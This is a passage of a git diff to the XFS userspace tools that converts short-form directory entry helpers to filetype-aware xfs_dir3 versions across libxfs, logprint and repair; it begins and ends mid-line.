memcpy(dep->name, args->name, dep->namelen); - tagp = xfs_dir2_data_entry_tag_p(dep); + tagp = xfs_dir3_data_entry_tag_p(mp, dep); *tagp = cpu_to_be16((char *)dep - (char *)hdr); xfs_dir2_data_log_entry(tp, dbp, dep); /* diff --git a/libxfs/xfs_dir2_priv.h b/libxfs/xfs_dir2_priv.h index 7af3e92..1bad84c 100644 --- a/libxfs/xfs_dir2_priv.h +++ b/libxfs/xfs_dir2_priv.h @@ -18,21 +18,26 @@ #ifndef __XFS_DIR2_PRIV_H__ #define __XFS_DIR2_PRIV_H__ +struct dir_context; + /* xfs_dir2.c */ extern int xfs_dir_ino_validate(struct xfs_mount *mp, xfs_ino_t ino); -extern int xfs_dir2_isblock(struct xfs_trans *tp, struct xfs_inode *dp, int *r); -extern int xfs_dir2_isleaf(struct xfs_trans *tp, struct xfs_inode *dp, int *r); extern int xfs_dir2_grow_inode(struct xfs_da_args *args, int space, xfs_dir2_db_t *dbp); -extern int xfs_dir2_shrink_inode(struct xfs_da_args *args, xfs_dir2_db_t db, - struct xfs_buf *bp); extern int xfs_dir_cilookup_result(struct xfs_da_args *args, const unsigned char *name, int len); +#define S_SHIFT 12 +extern const unsigned char xfs_mode_to_ftype[]; + +extern unsigned char xfs_dir3_get_dtype(struct xfs_mount *mp, + __uint8_t filetype); + + /* xfs_dir2_block.c */ +extern int xfs_dir3_block_read(struct xfs_trans *tp, struct xfs_inode *dp, + struct xfs_buf **bpp); extern int xfs_dir2_block_addname(struct xfs_da_args *args); -extern int xfs_dir2_block_getdents(struct xfs_inode *dp, void *dirent, - xfs_off_t *offset, filldir_t filldir); extern int xfs_dir2_block_lookup(struct xfs_da_args *args); extern int xfs_dir2_block_removename(struct xfs_da_args *args); extern int xfs_dir2_block_replace(struct xfs_da_args *args); @@ -55,22 +60,8 @@ extern int xfs_dir3_data_readahead(struct xfs_trans *tp, struct xfs_inode *dp, extern struct xfs_dir2_data_free * xfs_dir2_data_freeinsert(struct xfs_dir2_data_hdr *hdr, struct xfs_dir2_data_unused *dup, int *loghead); -extern void xfs_dir2_data_freescan(struct xfs_mount *mp, - struct xfs_dir2_data_hdr *hdr, int *loghead); extern int xfs_dir3_data_init(struct xfs_da_args *args, xfs_dir2_db_t blkno, struct xfs_buf **bpp); -extern void xfs_dir2_data_log_entry(struct xfs_trans *tp, struct xfs_buf *bp, - struct xfs_dir2_data_entry *dep); -extern void xfs_dir2_data_log_header(struct xfs_trans *tp, - struct xfs_buf *bp); -extern void xfs_dir2_data_log_unused(struct xfs_trans *tp, struct xfs_buf *bp, - struct xfs_dir2_data_unused *dup); -extern void xfs_dir2_data_make_free(struct xfs_trans *tp, struct xfs_buf *bp, - xfs_dir2_data_aoff_t offset, xfs_dir2_data_aoff_t len, - int *needlogp, int *needscanp); -extern void xfs_dir2_data_use_free(struct xfs_trans *tp, struct xfs_buf *bp, - struct xfs_dir2_data_unused *dup, xfs_dir2_data_aoff_t offset, - xfs_dir2_data_aoff_t len, int *needlogp, int *needscanp); /* xfs_dir2_leaf.c */ extern int xfs_dir3_leafn_read(struct xfs_trans *tp, struct xfs_inode *dp, @@ -83,8 +74,6 @@ extern void xfs_dir3_leaf_compact(struct xfs_da_args *args, extern void xfs_dir3_leaf_compact_x1(struct xfs_dir3_icleaf_hdr *leafhdr, struct xfs_dir2_leaf_entry *ents, int *indexp, int *lowstalep, int *highstalep, int *lowlogp, int *highlogp); -extern int xfs_dir2_leaf_getdents(struct xfs_inode *dp, void *dirent, - size_t bufsize, xfs_off_t *offset, filldir_t filldir); extern int xfs_dir3_leaf_get_buf(struct xfs_da_args *args, xfs_dir2_db_t bno, struct xfs_buf **bpp, __uint16_t magic); extern void xfs_dir3_leaf_log_ents(struct xfs_trans *tp, struct xfs_buf *bp, @@ -104,6 +93,8 @@ xfs_dir3_leaf_find_entry(struct xfs_dir3_icleaf_hdr *leafhdr, int lowstale, int highstale, int *lfloglow, int *lfloghigh); extern int xfs_dir2_node_to_leaf(struct xfs_da_state *state); +extern void xfs_dir3_leaf_hdr_from_disk(struct xfs_dir3_icleaf_hdr *to, + struct xfs_dir2_leaf *from); extern void xfs_dir3_leaf_hdr_to_disk(struct xfs_dir2_leaf *to, struct xfs_dir3_icleaf_hdr *from); extern bool xfs_dir3_leaf_check_int(struct xfs_mount *mp, @@ -134,19 +125,18 @@ extern int xfs_dir2_free_read(struct xfs_trans *tp, struct xfs_inode *dp, xfs_dablk_t fbno, struct xfs_buf **bpp); /* xfs_dir2_sf.c */ -extern xfs_ino_t xfs_dir2_sf_get_parent_ino(struct xfs_dir2_sf_hdr *sfp); -extern xfs_ino_t xfs_dir2_sfe_get_ino(struct xfs_dir2_sf_hdr *sfp, - struct xfs_dir2_sf_entry *sfep); extern int xfs_dir2_block_sfsize(struct xfs_inode *dp, struct xfs_dir2_data_hdr *block, struct xfs_dir2_sf_hdr *sfhp); extern int xfs_dir2_block_to_sf(struct xfs_da_args *args, struct xfs_buf *bp, int size, xfs_dir2_sf_hdr_t *sfhp); extern int xfs_dir2_sf_addname(struct xfs_da_args *args); extern int xfs_dir2_sf_create(struct xfs_da_args *args, xfs_ino_t pino); -extern int xfs_dir2_sf_getdents(struct xfs_inode *dp, void *dirent, - xfs_off_t *offset, filldir_t filldir); extern int xfs_dir2_sf_lookup(struct xfs_da_args *args); extern int xfs_dir2_sf_removename(struct xfs_da_args *args); extern int xfs_dir2_sf_replace(struct xfs_da_args *args); +/* xfs_dir2_readdir.c */ +extern int xfs_readdir(struct xfs_inode *dp, struct dir_context *ctx, + size_t bufsize); + #endif /* __XFS_DIR2_PRIV_H__ */ diff --git a/libxfs/xfs_dir2_sf.c b/libxfs/xfs_dir2_sf.c index cb23368..2791d99 100644 --- a/libxfs/xfs_dir2_sf.c +++ b/libxfs/xfs_dir2_sf.c @@ -15,7 +15,6 @@ * along with this program; if not, write the Free Software Foundation, * Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ - #include /* @@ -89,31 +88,38 @@ xfs_dir2_sf_put_parent_ino( /* * In short-form directory entries the inode numbers are stored at variable - * offset behind the entry name. The inode numbers may only be accessed - * through the helpers below. + * offset behind the entry name. If the entry stores a filetype value, then it + * sits between the name and the inode number. Hence the inode numbers may only + * be accessed through the helpers below. */ static xfs_dir2_inou_t * -xfs_dir2_sfe_inop( +xfs_dir3_sfe_inop( + struct xfs_mount *mp, struct xfs_dir2_sf_entry *sfep) { - return (xfs_dir2_inou_t *)&sfep->name[sfep->namelen]; + __uint8_t *ptr = &sfep->name[sfep->namelen]; + if (xfs_sb_version_hasftype(&mp->m_sb)) + ptr++; + return (xfs_dir2_inou_t *)ptr; } xfs_ino_t -xfs_dir2_sfe_get_ino( +xfs_dir3_sfe_get_ino( + struct xfs_mount *mp, struct xfs_dir2_sf_hdr *hdr, struct xfs_dir2_sf_entry *sfep) { - return xfs_dir2_sf_get_ino(hdr, xfs_dir2_sfe_inop(sfep)); + return xfs_dir2_sf_get_ino(hdr, xfs_dir3_sfe_inop(mp, sfep)); } void -xfs_dir2_sfe_put_ino( +xfs_dir3_sfe_put_ino( + struct xfs_mount *mp, struct xfs_dir2_sf_hdr *hdr, struct xfs_dir2_sf_entry *sfep, xfs_ino_t ino) { - xfs_dir2_sf_put_ino(hdr, xfs_dir2_sfe_inop(sfep), ino); + xfs_dir2_sf_put_ino(hdr, xfs_dir3_sfe_inop(mp, sfep), ino); } /* @@ -141,9 +147,16 @@ xfs_dir2_block_sfsize( int namelen; /* total name bytes */ xfs_ino_t parent = 0; /* parent inode number */ int size=0; /* total computed size */ + int has_ftype; mp = dp->i_mount; + /* + * if there is a filetype field, add the extra byte to the namelen + * for each entry that we see. + */ + has_ftype = xfs_sb_version_hasftype(&mp->m_sb) ? 1 : 0; + count = i8count = namelen = 0; btp = xfs_dir2_block_tail_p(mp, hdr); blp = xfs_dir2_block_leaf_p(btp); @@ -172,9 +185,10 @@ xfs_dir2_block_sfsize( if (!isdot) i8count += be64_to_cpu(dep->inumber) > XFS_DIR2_MAX_SHORT_INUM; #endif + /* take into account the file type field */ if (!isdot && !isdotdot) { count++; - namelen += dep->namelen; + namelen += dep->namelen + has_ftype; } else if (isdotdot) parent = be64_to_cpu(dep->inumber); /* @@ -300,12 +314,12 @@ xfs_dir2_block_to_sf( (xfs_dir2_data_aoff_t) ((char *)dep - (char *)hdr)); memcpy(sfep->name, dep->name, dep->namelen); - xfs_dir2_sfe_put_ino(sfp, sfep, + xfs_dir3_sfe_put_ino(mp, sfp, sfep, be64_to_cpu(dep->inumber)); - sfep = xfs_dir2_sf_nextentry(sfp, sfep); + sfep = xfs_dir3_sf_nextentry(mp, sfp, sfep); } - ptr += xfs_dir2_data_entsize(dep->namelen); + ptr += xfs_dir3_data_entsize(mp, dep->namelen); } ASSERT((char *)sfep - (char *)sfp == size); xfs_dir2_sf_check(args); @@ -356,7 +370,7 @@ xfs_dir2_sf_addname( /* * Compute entry (and change in) size. */ - add_entsize = xfs_dir2_sf_entsize(sfp, args->namelen); + add_entsize = xfs_dir3_sf_entsize(dp->i_mount, sfp, args->namelen); incr_isize = add_entsize; objchange = 0; #if XFS_BIG_INUMS @@ -450,8 +464,9 @@ xfs_dir2_sf_addname_easy( /* * Grow the in-inode space. */ - xfs_idata_realloc(dp, xfs_dir2_sf_entsize(sfp, args->namelen), - XFS_DATA_FORK); + xfs_idata_realloc(dp, + xfs_dir3_sf_entsize(dp->i_mount, sfp, args->namelen), + XFS_DATA_FORK); /* * Need to set up again due to realloc of the inode data. */ @@ -463,7 +478,7 @@ xfs_dir2_sf_addname_easy( sfep->namelen = args->namelen; xfs_dir2_sf_put_offset(sfep, offset); memcpy(sfep->name, args->name, sfep->namelen); - xfs_dir2_sfe_put_ino(sfp, sfep, args->inumber); + xfs_dir3_sfe_put_ino(dp->i_mount, sfp, sfep, args->inumber); /* * Update the header and inode. */ @@ -503,11 +518,13 @@ xfs_dir2_sf_addname_hard( xfs_dir2_sf_hdr_t *oldsfp; /* original shortform dir */ xfs_dir2_sf_entry_t *sfep; /* entry in new dir */ xfs_dir2_sf_hdr_t *sfp; /* new shortform dir */ + struct xfs_mount *mp; /* * Copy the old directory to the stack buffer. */ dp = args->dp; + mp = dp->i_mount; sfp = (xfs_dir2_sf_hdr_t *)dp->i_df.if_u1.if_data; old_isize = (int)dp->i_d.di_size; @@ -519,13 +536,13 @@ xfs_dir2_sf_addname_hard( * to insert the new entry. * If it's going to end up at the end then oldsfep will point there. */ - for (offset = XFS_DIR3_DATA_FIRST_OFFSET(dp->i_mount), + for (offset = XFS_DIR3_DATA_FIRST_OFFSET(mp), oldsfep = xfs_dir2_sf_firstentry(oldsfp), - add_datasize = xfs_dir2_data_entsize(args->namelen), + add_datasize = xfs_dir3_data_entsize(mp, args->namelen), eof = (char *)oldsfep == &buf[old_isize]; !eof; - offset = new_offset + xfs_dir2_data_entsize(oldsfep->namelen), - oldsfep = xfs_dir2_sf_nextentry(oldsfp, oldsfep), + offset = new_offset + xfs_dir3_data_entsize(mp, oldsfep->namelen), + oldsfep = xfs_dir3_sf_nextentry(mp, oldsfp, oldsfep), eof = (char *)oldsfep == &buf[old_isize]) { new_offset = xfs_dir2_sf_get_offset(oldsfep); if (offset + add_datasize <= new_offset) @@ -554,7 +571,7 @@ xfs_dir2_sf_addname_hard( sfep->namelen = args->namelen; xfs_dir2_sf_put_offset(sfep, offset); memcpy(sfep->name, args->name, sfep->namelen); - xfs_dir2_sfe_put_ino(sfp, sfep, args->inumber); + xfs_dir3_sfe_put_ino(mp, sfp, sfep, args->inumber); sfp->count++; #if XFS_BIG_INUMS if (args->inumber > XFS_DIR2_MAX_SHORT_INUM && !objchange) @@ -564,7 +581,7 @@ xfs_dir2_sf_addname_hard( * If there's more left to copy, do that. */ if (!eof) { - sfep = xfs_dir2_sf_nextentry(sfp, sfep); + sfep = xfs_dir3_sf_nextentry(mp, sfp, sfep); memcpy(sfep, oldsfep, old_isize - nbytes); } kmem_free(buf); @@ -600,7 +617,7 @@ xfs_dir2_sf_addname_pick( mp = dp->i_mount; sfp = (xfs_dir2_sf_hdr_t *)dp->i_df.if_u1.if_data; - size = xfs_dir2_data_entsize(args->namelen); + size = xfs_dir3_data_entsize(mp, args->namelen); offset = XFS_DIR3_DATA_FIRST_OFFSET(mp); sfep = xfs_dir2_sf_firstentry(sfp); holefit = 0; @@ -613,8 +630,8 @@ xfs_dir2_sf_addname_pick( if (!holefit) holefit = offset + size <= xfs_dir2_sf_get_offset(sfep); offset = xfs_dir2_sf_get_offset(sfep) + - xfs_dir2_data_entsize(sfep->namelen); - sfep = xfs_dir2_sf_nextentry(sfp, sfep); + xfs_dir3_data_entsize(mp, sfep->namelen); + sfep = xfs_dir3_sf_nextentry(mp, sfp, sfep); } /* * Calculate data bytes used excluding the new entry, if this @@ -668,31 +685,34 @@ xfs_dir2_sf_check( int offset; /* data offset */ xfs_dir2_sf_entry_t *sfep; /* shortform dir entry */ xfs_dir2_sf_hdr_t *sfp; /* shortform structure */ + struct xfs_mount *mp; dp = args->dp; + mp = dp->i_mount; sfp = (xfs_dir2_sf_hdr_t *)dp->i_df.if_u1.if_data; - offset = XFS_DIR3_DATA_FIRST_OFFSET(dp->i_mount); + offset = XFS_DIR3_DATA_FIRST_OFFSET(mp); ino = xfs_dir2_sf_get_parent_ino(sfp); i8count = ino > XFS_DIR2_MAX_SHORT_INUM; for (i = 0, sfep = xfs_dir2_sf_firstentry(sfp); i < sfp->count; - i++, sfep = xfs_dir2_sf_nextentry(sfp, sfep)) { + i++, sfep = xfs_dir3_sf_nextentry(mp, sfp, sfep)) { ASSERT(xfs_dir2_sf_get_offset(sfep) >= offset); - ino = xfs_dir2_sfe_get_ino(sfp, sfep); + ino = xfs_dir3_sfe_get_ino(mp, sfp, sfep); i8count += ino > XFS_DIR2_MAX_SHORT_INUM; offset = xfs_dir2_sf_get_offset(sfep) + - xfs_dir2_data_entsize(sfep->namelen); + xfs_dir3_data_entsize(mp, sfep->namelen); + ASSERT(xfs_dir3_sfe_get_ftype(mp, sfp, sfep) < + XFS_DIR3_FT_MAX); } ASSERT(i8count == sfp->i8count); ASSERT(XFS_BIG_INUMS || i8count == 0); ASSERT((char *)sfep - (char *)sfp == dp->i_d.di_size); ASSERT(offset + (sfp->count + 2) * (uint)sizeof(xfs_dir2_leaf_entry_t) + - (uint)sizeof(xfs_dir2_block_tail_t) <= - dp->i_mount->m_dirblksize); + (uint)sizeof(xfs_dir2_block_tail_t) <= mp->m_dirblksize); } #endif /* DEBUG */ @@ -804,7 +824,7 @@ xfs_dir2_sf_lookup( */ ci_sfep = NULL; for (i = 0, sfep = xfs_dir2_sf_firstentry(sfp); i < sfp->count; - i++, sfep = xfs_dir2_sf_nextentry(sfp, sfep)) { + i++, sfep = xfs_dir3_sf_nextentry(dp->i_mount, sfp, sfep)) { /* * Compare name and if it's an exact match, return the inode * number. If it's the first case-insensitive match, store the @@ -814,7 +834,8 @@ xfs_dir2_sf_lookup( sfep->namelen); if (cmp != XFS_CMP_DIFFERENT && cmp != args->cmpresult) { args->cmpresult = cmp; - args->inumber = xfs_dir2_sfe_get_ino(sfp, sfep); + args->inumber = xfs_dir3_sfe_get_ino(dp->i_mount, + sfp, sfep); if (cmp == XFS_CMP_EXACT) return XFS_ERROR(EEXIST); ci_sfep = sfep; @@ -870,10 +891,10 @@ xfs_dir2_sf_removename( * Find the one we're deleting. */ for (i = 0, sfep = xfs_dir2_sf_firstentry(sfp); i < sfp->count; - i++, sfep = xfs_dir2_sf_nextentry(sfp, sfep)) { + i++, sfep = xfs_dir3_sf_nextentry(dp->i_mount, sfp, sfep)) { if (xfs_da_compname(args, sfep->name, sfep->namelen) == XFS_CMP_EXACT) { - ASSERT(xfs_dir2_sfe_get_ino(sfp, sfep) == + ASSERT(xfs_dir3_sfe_get_ino(dp->i_mount, sfp, sfep) == args->inumber); break; } @@ -887,7 +908,7 @@ xfs_dir2_sf_removename( * Calculate sizes. */ byteoff = (int)((char *)sfep - (char *)sfp); - entsize = xfs_dir2_sf_entsize(sfp, args->namelen); + entsize = xfs_dir3_sf_entsize(dp->i_mount, sfp, args->namelen); newsize = oldsize - entsize; /* * Copy the part if any after the removed entry, sliding it down. @@ -1003,16 +1024,17 @@ xfs_dir2_sf_replace( * Normal entry, look for the name. */ else { - for (i = 0, sfep = xfs_dir2_sf_firstentry(sfp); - i < sfp->count; - i++, sfep = xfs_dir2_sf_nextentry(sfp, sfep)) { + for (i = 0, sfep = xfs_dir2_sf_firstentry(sfp); i < sfp->count; + i++, sfep = xfs_dir3_sf_nextentry(dp->i_mount, sfp, sfep)) { if (xfs_da_compname(args, sfep->name, sfep->namelen) == XFS_CMP_EXACT) { #if XFS_BIG_INUMS || defined(DEBUG) - ino = xfs_dir2_sfe_get_ino(sfp, sfep); + ino = xfs_dir3_sfe_get_ino(dp->i_mount, + sfp, sfep); ASSERT(args->inumber != ino); #endif - xfs_dir2_sfe_put_ino(sfp, sfep, args->inumber); + xfs_dir3_sfe_put_ino(dp->i_mount, sfp, sfep, + args->inumber); break; } } @@ -1120,13 +1142,13 @@ xfs_dir2_sf_toino4( for (i = 0, sfep = xfs_dir2_sf_firstentry(sfp), oldsfep = xfs_dir2_sf_firstentry(oldsfp); i < sfp->count; - i++, sfep = xfs_dir2_sf_nextentry(sfp, sfep), - oldsfep = xfs_dir2_sf_nextentry(oldsfp, oldsfep)) { + i++, sfep = xfs_dir3_sf_nextentry(dp->i_mount, sfp, sfep), + oldsfep = xfs_dir3_sf_nextentry(dp->i_mount, oldsfp, oldsfep)) { sfep->namelen = oldsfep->namelen; sfep->offset = oldsfep->offset; memcpy(sfep->name, oldsfep->name, sfep->namelen); - xfs_dir2_sfe_put_ino(sfp, sfep, - xfs_dir2_sfe_get_ino(oldsfp, oldsfep)); + xfs_dir3_sfe_put_ino(dp->i_mount, sfp, sfep, + xfs_dir3_sfe_get_ino(dp->i_mount, oldsfp, oldsfep)); } /* * Clean up the inode. @@ -1195,13 +1217,13 @@ xfs_dir2_sf_toino8( for (i = 0, sfep = xfs_dir2_sf_firstentry(sfp), oldsfep = xfs_dir2_sf_firstentry(oldsfp); i < sfp->count; - i++, sfep = xfs_dir2_sf_nextentry(sfp, sfep), - oldsfep = xfs_dir2_sf_nextentry(oldsfp, oldsfep)) { + i++, sfep = xfs_dir3_sf_nextentry(dp->i_mount, sfp, sfep), + oldsfep = xfs_dir3_sf_nextentry(dp->i_mount, oldsfp, oldsfep)) { sfep->namelen = oldsfep->namelen; sfep->offset = oldsfep->offset; memcpy(sfep->name, oldsfep->name, sfep->namelen); - xfs_dir2_sfe_put_ino(sfp, sfep, - xfs_dir2_sfe_get_ino(oldsfp, oldsfep)); + xfs_dir3_sfe_put_ino(dp->i_mount, sfp, sfep, + xfs_dir3_sfe_get_ino(dp->i_mount, oldsfp, oldsfep)); } /* * Clean up the inode. diff --git a/logprint/log_misc.c b/logprint/log_misc.c index 9526ec4..817142b 100644 --- a/logprint/log_misc.c +++ b/logprint/log_misc.c @@ -565,7 +565,10 @@ xlog_print_trans_inode_core(xfs_icdinode_t *ip) } void -xlog_print_dir2_sf(xfs_dir2_sf_hdr_t *sfp, int size) +xlog_print_dir2_sf( + struct xlog *log, + xfs_dir2_sf_hdr_t *sfp, + int size) { xfs_ino_t ino; int count; @@ -587,21 +590,23 @@ xlog_print_dir2_sf(xfs_dir2_sf_hdr_t *sfp, int size) count = sfp->count; sfep = xfs_dir2_sf_firstentry(sfp); for (i = 0; i < count; i++) { - ino = xfs_dir2_sfe_get_ino(sfp, sfep); + ino = xfs_dir3_sfe_get_ino(log->l_mp, sfp, sfep); memmove(namebuf, (sfep->name), sfep->namelen); namebuf[sfep->namelen] = '\0'; printf(_("%s ino 0x%llx namelen %d\n"), namebuf, (unsigned long long)ino, sfep->namelen); - sfep = xfs_dir2_sf_nextentry(sfp, sfep); + sfep = xfs_dir3_sf_nextentry(log->l_mp, sfp, sfep); } } int -xlog_print_trans_inode(xfs_caddr_t *ptr, - int len, - int *i, - int num_ops, - boolean_t continued) +xlog_print_trans_inode( + struct xlog *log, + xfs_caddr_t *ptr, + int len, + int *i, + int num_ops, + boolean_t continued) { xfs_icdinode_t dino; xlog_op_header_t *op_head; @@ -695,7 +700,7 @@ xlog_print_trans_inode(xfs_caddr_t *ptr, case XFS_ILOG_DDATA: printf(_("LOCAL inode data\n")); if (mode == S_IFDIR) - xlog_print_dir2_sf((xfs_dir2_sf_hdr_t *)*ptr, size); + xlog_print_dir2_sf(log, (xfs_dir2_sf_hdr_t *)*ptr, size); break; default: ASSERT((f->ilf_fields & XFS_ILOG_DFORK) == 0); @@ -722,7 +727,7 @@ xlog_print_trans_inode(xfs_caddr_t *ptr, case XFS_ILOG_ADATA: printf(_("LOCAL attr data\n")); if (mode == S_IFDIR) - xlog_print_dir2_sf((xfs_dir2_sf_hdr_t *)*ptr, size); + xlog_print_dir2_sf(log, (xfs_dir2_sf_hdr_t *)*ptr, size); break; default: ASSERT((f->ilf_fields & XFS_ILOG_AFORK) == 0); @@ -857,14 +862,16 @@ print_lsn(xfs_caddr_t string, int -xlog_print_record(int fd, - int num_ops, - int len, - int *read_type, - xfs_caddr_t *partial_buf, - xlog_rec_header_t *rhead, - xlog_rec_ext_header_t *xhdrs, - int bad_hdr_warn) +xlog_print_record( + struct xlog *log, + int fd, + int num_ops, + int len, + int *read_type, + xfs_caddr_t *partial_buf, + xlog_rec_header_t *rhead, + xlog_rec_ext_header_t *xhdrs, + int bad_hdr_warn) { xfs_caddr_t buf, ptr; int read_len, skip; @@ -1011,7 +1018,7 @@ xlog_print_record(int fd, break; } case XFS_LI_INODE: { - skip = xlog_print_trans_inode(&ptr, + skip = xlog_print_trans_inode(log, &ptr, be32_to_cpu(op_head->oh_len), &i, num_ops, continued); break; @@ -1387,7 +1394,7 @@ void xfs_log_print(struct xlog *log, break; } - error = xlog_print_record(fd, num_ops, len, &read_type, &partial_buf, + error = xlog_print_record(log, fd, num_ops, len, &read_type, &partial_buf, hdr, xhdrs, first_hdr_found); first_hdr_found++; switch (error) { @@ -1488,14 +1495,9 @@ loop: } partial_log_read: - error= xlog_print_record(fd, - num_ops, - len, - &read_type, - &partial_buf, - (xlog_rec_header_t *)hbuf, - xhdrs, - first_hdr_found); + error= xlog_print_record(log, fd, num_ops, len, &read_type, + &partial_buf, (xlog_rec_header_t *)hbuf, + xhdrs, first_hdr_found); if (read_type != FULL_READ) len -= read_type; read_type = FULL_READ; diff --git a/repair/dir2.c b/repair/dir2.c index 2ca7fd1..2cccf1d 100644 --- a/repair/dir2.c +++ b/repair/dir2.c @@ -651,6 +651,7 @@ _("would correct bad hashval in interior dir block\n" */ void process_sf_dir2_fixi8( + struct xfs_mount *mp, struct xfs_dir2_sf_hdr *sfp, xfs_dir2_sf_entry_t **next_sfep) { @@ -680,10 +681,10 @@ process_sf_dir2_fixi8( xfs_dir2_sf_put_offset(newsfep, xfs_dir2_sf_get_offset(oldsfep)); memmove(newsfep->name, oldsfep->name, newsfep->namelen); - ino = xfs_dir2_sfe_get_ino(oldsfp, oldsfep); - xfs_dir2_sfe_put_ino(newsfp, newsfep, ino); - oldsfep = xfs_dir2_sf_nextentry(oldsfp, oldsfep); - newsfep = xfs_dir2_sf_nextentry(newsfp, newsfep); + ino = xfs_dir3_sfe_get_ino(mp, oldsfp, oldsfep); + xfs_dir3_sfe_put_ino(mp, newsfp, newsfep, ino); + oldsfep = xfs_dir3_sf_nextentry(mp, oldsfp, oldsfep); + newsfep = xfs_dir3_sf_nextentry(mp, newsfp, newsfep); } *next_sfep = newsfep; free(oldsfp); @@ -708,8 +709,8 @@ process_sf_dir2_fixoff( for (i = 0; i < sfp->count; i++) { xfs_dir2_sf_put_offset(sfep, offset); - offset += xfs_dir2_data_entsize(sfep->namelen); - sfep = xfs_dir2_sf_nextentry(sfp, sfep); + offset += xfs_dir3_data_entsize(mp, sfep->namelen); + sfep = xfs_dir3_sf_nextentry(mp, sfp, sfep); } } @@ -771,7 +772,7 @@ process_sf_dir2( /* * check for bad entry count */ - if (num_entries * xfs_dir2_sf_entsize(sfp, 1) + + if (num_entries * xfs_dir3_sf_entsize(mp, sfp, 1) + xfs_dir2_sf_hdr_size(0) > max_size || num_entries == 0) num_entries = 0xFF; @@ -787,7 +788,7 @@ process_sf_dir2( sfep = next_sfep; junkit = 0; bad_sfnamelen = 0; - lino = xfs_dir2_sfe_get_ino(sfp, sfep); + lino = xfs_dir3_sfe_get_ino(mp, sfp, sfep); /* * if entry points to self, junk it since only '.' or '..' * should do that and shortform dirs don't contain either @@ -901,7 +902,7 @@ _("zero length entry in shortform dir %" PRIu64 ""), break; } } else if ((__psint_t) sfep - (__psint_t) sfp + - xfs_dir2_sf_entsize(sfp, sfep->namelen) + xfs_dir3_sf_entsize(mp, sfp, sfep->namelen) > ino_dir_size) { bad_sfnamelen = 1; @@ -972,7 +973,7 @@ _("entry contains offset out of order in shortform dir %" PRIu64 "\n"), bad_offset = 1; } offset = xfs_dir2_sf_get_offset(sfep) + - xfs_dir2_data_entsize(namelen); + xfs_dir3_data_entsize(mp, namelen); /* * junk the entry by copying up the rest of the @@ -989,7 +990,7 @@ _("entry contains offset out of order in shortform dir %" PRIu64 "\n"), name[namelen] = '\0'; if (!no_modify) { - tmp_elen = xfs_dir2_sf_entsize(sfp, + tmp_elen = xfs_dir3_sf_entsize(mp, sfp, sfep->namelen); be64_add_cpu(&dip->di_size, -tmp_elen); ino_dir_size -= tmp_elen; @@ -1043,8 +1044,8 @@ _("would have junked entry \"%s\" in directory inode %" PRIu64 "\n"), next_sfep = (tmp_sfep == NULL) ? (xfs_dir2_sf_entry_t *) ((__psint_t) sfep + ((!bad_sfnamelen) - ? xfs_dir2_sf_entsize(sfp, sfep->namelen) - : xfs_dir2_sf_entsize(sfp, namelen))) + ? xfs_dir3_sf_entsize(mp, sfp, sfep->namelen) + : xfs_dir3_sf_entsize(mp, sfp, namelen))) : tmp_sfep; } @@ -1075,7 +1076,7 @@ _("would have corrected i8 count in directory %" PRIu64 " from %d to %d\n"), _("corrected i8 count in directory %" PRIu64 ", was %d, now %d\n"), ino, sfp->i8count, i8); if (i8 == 0) - process_sf_dir2_fixi8(sfp, &next_sfep); + process_sf_dir2_fixi8(mp, sfp, &next_sfep); else sfp->i8count = i8; *dino_dirty = 1; @@ -1268,12 +1269,12 @@ process_dir2_data( continue; } dep = (xfs_dir2_data_entry_t *)ptr; - if (ptr + xfs_dir2_data_entsize(dep->namelen) > endptr) + if (ptr + xfs_dir3_data_entsize(mp, dep->namelen) > endptr) break; - if (be16_to_cpu(*xfs_dir2_data_entry_tag_p(dep)) != + if (be16_to_cpu(*xfs_dir3_data_entry_tag_p(mp, dep)) != (char *)dep - (char *)d) break; - ptr += xfs_dir2_data_entsize(dep->namelen); + ptr += xfs_dir3_data_entsize(mp, dep->namelen); lastfree = 0; } /* @@ -1528,7 +1529,7 @@ _("entry \"%*.*s\" in directory inode %" PRIu64 " points to self: "), /* * Advance to the next entry. */ - ptr += xfs_dir2_data_entsize(dep->namelen); + ptr += xfs_dir3_data_entsize(mp, dep->namelen); } /* * Check the bestfree table. diff --git a/repair/dir2.h b/repair/dir2.h index 3d8fe8a..df68d5c 100644 --- a/repair/dir2.h +++ b/repair/dir2.h @@ -72,6 +72,7 @@ process_dir2( void process_sf_dir2_fixi8( + struct xfs_mount *mp, struct xfs_dir2_sf_hdr *sfp, xfs_dir2_sf_entry_t **next_sfep); diff --git a/repair/phase6.c b/repair/phase6.c index df9b92e..77d99e1 100644 --- a/repair/phase6.c +++ b/repair/phase6.c @@ -1500,12 +1500,12 @@ longform_dir2_entry_check_data( /* validate data entry size */ dep = (xfs_dir2_data_entry_t *)ptr; - if (ptr + xfs_dir2_data_entsize(dep->namelen) > endptr) + if (ptr + xfs_dir3_data_entsize(mp, dep->namelen) > endptr) break; - if (be16_to_cpu(*xfs_dir2_data_entry_tag_p(dep)) != + if (be16_to_cpu(*xfs_dir3_data_entry_tag_p(mp, dep)) != (char *)dep - (char *)d) break; - ptr += xfs_dir2_data_entsize(dep->namelen); + ptr += xfs_dir3_data_entsize(mp, dep->namelen); } /* did we find an empty or corrupt block? */ @@ -1594,7 +1594,7 @@ longform_dir2_entry_check_data( } addr = xfs_dir2_db_off_to_dataptr(mp, db, ptr - (char *)d); dep = (xfs_dir2_data_entry_t *)ptr; - ptr += xfs_dir2_data_entsize(dep->namelen); + ptr += xfs_dir3_data_entsize(mp, dep->namelen); inum = be64_to_cpu(dep->inumber); lastfree = 0; /* @@ -2226,7 +2226,7 @@ shortform_dir2_entry_check(xfs_mount_t *mp, bad_sfnamelen = 0; tmp_sfep = NULL; - lino = xfs_dir2_sfe_get_ino(sfp, sfep); + lino = xfs_dir3_sfe_get_ino(mp, sfp, sfep); namelen = sfep->namelen; @@ -2255,7 +2255,7 @@ shortform_dir2_entry_check(xfs_mount_t *mp, break; } } else if (no_modify && (__psint_t) sfep - (__psint_t) sfp + - + xfs_dir2_sf_entsize(sfp, sfep->namelen) + + xfs_dir3_sf_entsize(mp, sfp, sfep->namelen) > ip->i_d.di_size) { bad_sfnamelen = 1; @@ -2285,7 +2285,7 @@ shortform_dir2_entry_check(xfs_mount_t *mp, if (no_modify && verify_inum(mp, lino)) { next_sfep = (xfs_dir2_sf_entry_t *)((__psint_t)sfep + - xfs_dir2_sf_entsize(sfp, sfep->namelen)); + xfs_dir3_sf_entsize(mp, sfp, sfep->namelen)); continue; } @@ -2393,7 +2393,7 @@ do_junkit: if (lino == orphanage_ino) orphanage_ino = 0; if (!no_modify) { - tmp_elen = xfs_dir2_sf_entsize(sfp, + 